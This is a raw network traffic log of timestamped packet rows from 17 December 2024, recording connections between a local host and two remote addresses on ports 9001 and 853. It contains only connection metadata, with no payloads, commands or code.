Dec 17, 2024 11:49:34.484042883 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.484102964 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.484249115 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.484828949 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.484841108 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.485006094 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.485569000 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.485583067 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.485683918 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.486304045 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.486419916 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.486676931 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.487016916 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.487281084 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.487339973 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.487982035 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.488677025 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.488806963 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.491727114 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.491749048 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.491760969 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.491771936 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.491847038 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.511538982 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.511591911 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.511657000 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.511667967 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.511787891 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.511792898 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.511805058 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.511816025 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.511826992 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.511961937 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.512326002 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.512345076 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.512403965 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.512418032 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.512428999 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.512501001 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.512501001 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.512650013 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.512661934 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.512726068 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.512737036 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.512764931 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.512783051 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.515898943 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.515911102 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.515923023 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.516036987 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.516040087 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.516045094 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.516048908 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.516061068 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.516202927 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.516360044 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.516891003 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.516902924 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.516974926 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.516988039 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.517000914 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.517401934 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.517688990 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.517703056 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.517947912 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.519918919 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.520006895 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.520019054 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.520030975 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.520226002 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.520257950 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.520284891 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.523873091 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.523875952 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.523889065 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.523900986 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.523972034 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.523983002 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.523994923 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.523997068 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.524007082 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.524085045 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.524173021 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.524184942 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.524197102 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.524240971 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.524240971 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.524240971 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.524663925 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.524677038 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.525304079 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.525434017 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.525485992 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.525619030 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.526164055 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.526175976 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.526519060 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.527091026 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.527102947 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.527549982 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.527869940 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.527883053 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.528017044 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.528436899 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.528718948 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.529023886 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.529293060 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.529515982 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.530102015 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.530127048 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.530371904 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.530486107 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.530824900 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.530909061 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.530951977 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.597816944 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.597835064 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.597918034 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.598297119 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.598417044 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.598445892 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.599545956 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.599558115 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.599662066 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.600548983 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.600560904 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.600708008 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.601799965 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.602006912 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.602226019 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.602930069 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.602941990 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.603017092 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.664072990 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.664087057 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.664406061 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.664429903 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.664649010 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.664861917 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.665115118 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.665244102 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.665306091 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.665863991 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.665875912 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.666014910 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.666737080 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.666749001 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.666954994 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.667382002 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.667618036 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.668179989 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.668318033 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.668380976 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.668483019 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.670362949 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.670656919 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.670785904 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.670974970 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.670986891 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.670990944 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.671015024 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.671839952 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.671853065 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.672158957 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.672540903 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.672769070 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.672935009 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.673245907 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.673324108 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.673458099 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.674005032 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.674118042 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.674254894 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.674757957 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.674854040 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.674920082 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.675586939 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.675745010 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.676039934 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.676314116 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.676422119 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.676451921 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.677129030 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.677239895 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.677265882 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.677915096 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.678329945 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.678457022 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.678636074 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.678965092 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.679044008 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.679577112 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.679950953 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.680196047 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.680382967 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.680394888 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.680874109 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.681008101 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.681091070 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.681727886 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.682178020 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.682466984 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.682686090 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.682697058 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.683357000 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.683378935 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.683587074 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.684010029 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.684127092 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.684173107 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.684257030 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.685004950 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.685050964 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.685115099 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.693484068 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.693499088 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.693665981 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.694117069 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.694128036 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.694587946 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.695343971 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.695354939 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.695643902 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.696672916 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.696685076 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.696913004 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.697709084 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.697824001 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.697910070 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.699047089 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.699125051 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.699156046 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.700253010 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.700264931 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.700587034 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.701590061 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.701602936 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.701725006 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.702733040 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.702841043 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.703062057 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.703522921 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.703727961 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.703794003 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.704209089 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.704221964 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.704406023 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.704515934 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.704538107 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.704557896 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.704615116 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.704721928 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.705108881 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.705188990 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.705241919 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.705252886 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.705302954 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.705305099 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.705319881 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.706001043 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.706012964 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.706388950 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.706402063 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.706657887 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.706671000 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.706676960 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.706677914 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.706744909 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.707350969 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.707422018 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.707442999 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.708084106 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.708175898 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.708195925 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.708971024 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.708982944 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.709106922 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.709801912 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.709813118 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.710566044 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.710577965 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.710614920 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.710880995 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.711245060 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.711357117 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.711494923 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.711970091 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.712080956 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.712236881 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.712765932 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.713057041 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.713078976 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.713507891 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.713519096 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.713809013 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.714358091 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.714370966 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.714524984 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.715114117 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.715163946 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.715245962 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.715881109 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.715893984 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.716007948 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.716707945 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.717009068 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.717031002 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.717400074 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.717618942 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.717828989 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.718250990 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.718262911 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.718417883 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.718945026 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.719018936 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.719104052 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.719760895 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.719963074 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.720135927 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.720485926 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.720496893 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.720671892 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.721303940 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.721616030 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.721628904 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.722008944 CET	9001	49721	23.233.0.213	192.168.2.5
Dec 17, 2024 11:49:34.722110033 CET	49721	9001	192.168.2.5	23.233.0.213
Dec 17, 2024 11:49:34.789452076 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.789499044 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.789777994 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.790057898 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.790128946 CET	49723	853	192.168.2.5	89.58.54.129
Dec 17, 2024 11:49:34.790416956 CET	853	49723	89.58.54.129	192.168.2.5
Dec 17, 2024 11:49:34.790429115 CET	853	49723	89.58.54.129	192.168.2.5
